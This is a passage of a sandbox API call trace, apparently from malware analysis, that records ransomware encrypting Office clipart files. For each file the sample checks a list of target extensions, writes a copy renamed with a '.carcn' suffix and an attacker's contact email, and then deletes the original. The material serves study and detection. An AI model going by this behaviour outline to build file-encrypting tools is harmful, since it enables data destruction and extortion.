(lpString=".xlsx") returned 5 [0307.225] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0307.225] lstrlenW (lpString=".ppt") returned 4 [0307.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0307.225] lstrlenW (lpString=".zip") returned 4 [0307.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.225] lstrlenW (lpString=".rar") returned 4 [0307.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.225] lstrlenW (lpString=".bz2") returned 4 [0307.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.225] lstrlenW (lpString=".7z") returned 3 [0307.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0307.226] lstrlenW (lpString=".dbf") returned 4 [0307.226] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0307.226] lstrlenW (lpString=".1cd") returned 4 [0307.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0307.226] lstrlenW (lpString=".jpg") returned 4 [0307.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.226] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.226] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0307.227] GetLastError () returned 0x0 [0307.227] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x16b4, lpOverlapped=0x0) returned 1 [0307.506] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x16c0, lpOverlapped=0x0) returned 1 [0307.507] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.507] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.507] SetEndOfFile (hFile=0x398) returned 1 [0307.507] CloseHandle (hObject=0x398) returned 1 [0307.507] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.507] SetEndOfFile (hFile=0x334) returned 1 [0307.508] CloseHandle (hObject=0x334) returned 1 [0307.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.508] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 1 [0307.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0307.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0307.509] lstrlenW (lpString=".doc") returned 4 [0307.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.509] lstrlenW (lpString=".docx") returned 5 [0307.509] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0307.509] lstrlenW (lpString=".pdf") returned 4 [0307.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.509] lstrlenW (lpString=".xls") returned 4 [0307.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.510] lstrlenW (lpString=".xlsx") returned 5 [0307.510] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0307.510] lstrlenW (lpString=".ppt") returned 4 [0307.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0307.510] lstrlenW (lpString=".zip") returned 4 [0307.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.510] lstrlenW (lpString=".rar") returned 4 [0307.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.510] lstrlenW (lpString=".bz2") returned 4 [0307.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.510] lstrlenW (lpString=".7z") returned 3 [0307.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0307.510] lstrlenW (lpString=".dbf") returned 4 [0307.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0307.510] lstrlenW (lpString=".1cd") returned 4 [0307.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0307.510] lstrlenW (lpString=".jpg") returned 4 [0307.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.511] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.511] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0307.512] GetLastError () returned 0x0 [0307.512] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x35d8, lpOverlapped=0x0) returned 1 [0307.591] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x35e0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x35e0, lpOverlapped=0x0) returned 1 [0307.593] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.593] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.593] SetEndOfFile (hFile=0x398) returned 1 [0307.593] CloseHandle (hObject=0x398) returned 1 [0307.593] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.593] SetEndOfFile (hFile=0x334) returned 1 [0307.594] CloseHandle (hObject=0x334) returned 1 [0307.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 1 [0307.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0307.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0307.595] lstrlenW (lpString=".doc") returned 4 [0307.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.595] lstrlenW (lpString=".docx") returned 5 [0307.595] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0307.595] lstrlenW (lpString=".pdf") returned 4 [0307.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.596] lstrlenW (lpString=".xls") returned 4 [0307.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.596] lstrlenW (lpString=".xlsx") returned 5 [0307.596] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0307.596] lstrlenW (lpString=".ppt") returned 4 [0307.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0307.596] lstrlenW (lpString=".zip") returned 4 [0307.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.596] lstrlenW (lpString=".rar") returned 4 [0307.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.596] lstrlenW (lpString=".bz2") returned 4 [0307.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.596] lstrlenW (lpString=".7z") returned 3 [0307.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0307.596] lstrlenW (lpString=".dbf") returned 4 [0307.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0307.596] lstrlenW (lpString=".1cd") returned 4 [0307.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0307.596] lstrlenW (lpString=".jpg") returned 4 [0307.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.597] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.597] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0307.598] GetLastError () returned 0x0 [0307.598] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x2358, lpOverlapped=0x0) returned 1 [0307.837] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x2360, lpOverlapped=0x0) returned 1 [0307.838] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.838] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.838] SetEndOfFile (hFile=0x398) returned 1 [0307.838] CloseHandle (hObject=0x398) returned 1 [0307.838] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.839] SetEndOfFile (hFile=0x334) returned 1 [0307.839] CloseHandle (hObject=0x334) returned 1 [0307.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.840] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf")) returned 1 [0307.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0307.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0307.841] lstrlenW (lpString=".doc") returned 4 [0307.841] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.841] lstrlenW (lpString=".docx") returned 5 [0307.841] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0307.841] lstrlenW (lpString=".pdf") returned 4 [0307.841] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.841] lstrlenW (lpString=".xls") returned 4 [0307.841] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.841] lstrlenW (lpString=".xlsx") returned 5 [0307.841] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0307.841] lstrlenW (lpString=".ppt") returned 4 [0307.841] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0307.841] lstrlenW (lpString=".zip") returned 4 [0307.841] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.841] lstrlenW (lpString=".rar") returned 4 [0307.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.841] lstrlenW (lpString=".bz2") returned 4 [0307.841] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.841] lstrlenW (lpString=".7z") returned 3 [0307.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0307.841] lstrlenW (lpString=".dbf") returned 4 [0307.841] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0307.841] lstrlenW (lpString=".1cd") returned 4 [0307.841] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0307.842] lstrlenW (lpString=".jpg") returned 4 [0307.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.842] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.842] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0307.843] GetLastError () returned 0x0 [0307.843] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x571c, lpOverlapped=0x0) returned 1 [0307.890] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x5720, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x5720, lpOverlapped=0x0) returned 1 [0307.892] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.892] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.892] SetEndOfFile (hFile=0x398) returned 1 [0307.892] CloseHandle (hObject=0x398) returned 1 [0307.892] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.892] SetEndOfFile (hFile=0x334) returned 1 [0307.893] CloseHandle (hObject=0x334) returned 1 [0307.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.894] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 1 [0307.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0307.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0307.895] lstrlenW (lpString=".doc") returned 4 [0307.895] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.895] lstrlenW (lpString=".docx") returned 5 [0307.895] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0307.895] lstrlenW (lpString=".pdf") returned 4 [0307.895] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.895] lstrlenW (lpString=".xls") returned 4 [0307.895] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.895] lstrlenW (lpString=".xlsx") returned 5 [0307.895] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0307.895] lstrlenW (lpString=".ppt") returned 4 [0307.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0307.895] lstrlenW (lpString=".zip") returned 4 [0307.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.895] lstrlenW (lpString=".rar") returned 4 [0307.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.895] lstrlenW (lpString=".bz2") returned 4 [0307.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.895] lstrlenW (lpString=".7z") returned 3 [0307.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0307.895] lstrlenW (lpString=".dbf") returned 4 [0307.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0307.895] lstrlenW (lpString=".1cd") returned 4 [0307.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0307.896] lstrlenW (lpString=".jpg") returned 4 [0307.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.896] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.896] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0307.897] GetLastError () returned 0x0 [0307.897] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x614c, lpOverlapped=0x0) returned 1 [0307.899] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x6150, lpOverlapped=0x0) returned 1 [0307.900] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.900] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.901] SetEndOfFile (hFile=0x398) returned 1 [0307.901] CloseHandle (hObject=0x398) returned 1 [0307.901] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.901] SetEndOfFile (hFile=0x334) returned 1 [0307.902] CloseHandle (hObject=0x334) returned 1 [0307.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.903] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf")) returned 1 [0307.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0307.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0307.903] lstrlenW (lpString=".doc") returned 4 [0307.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.903] lstrlenW (lpString=".docx") returned 5 [0307.903] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0307.903] lstrlenW (lpString=".pdf") returned 4 [0307.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.904] lstrlenW (lpString=".xls") returned 4 [0307.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.904] lstrlenW (lpString=".xlsx") returned 5 [0307.904] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0307.904] lstrlenW (lpString=".ppt") returned 4 [0307.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0307.904] lstrlenW (lpString=".zip") returned 4 [0307.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.904] lstrlenW (lpString=".rar") returned 4 [0307.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.904] lstrlenW (lpString=".bz2") returned 4 [0307.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.904] lstrlenW (lpString=".7z") returned 3 [0307.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0307.904] lstrlenW (lpString=".dbf") returned 4 [0307.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0307.904] lstrlenW (lpString=".1cd") returned 4 [0307.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0307.904] lstrlenW (lpString=".jpg") returned 4 [0307.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.905] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.905] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 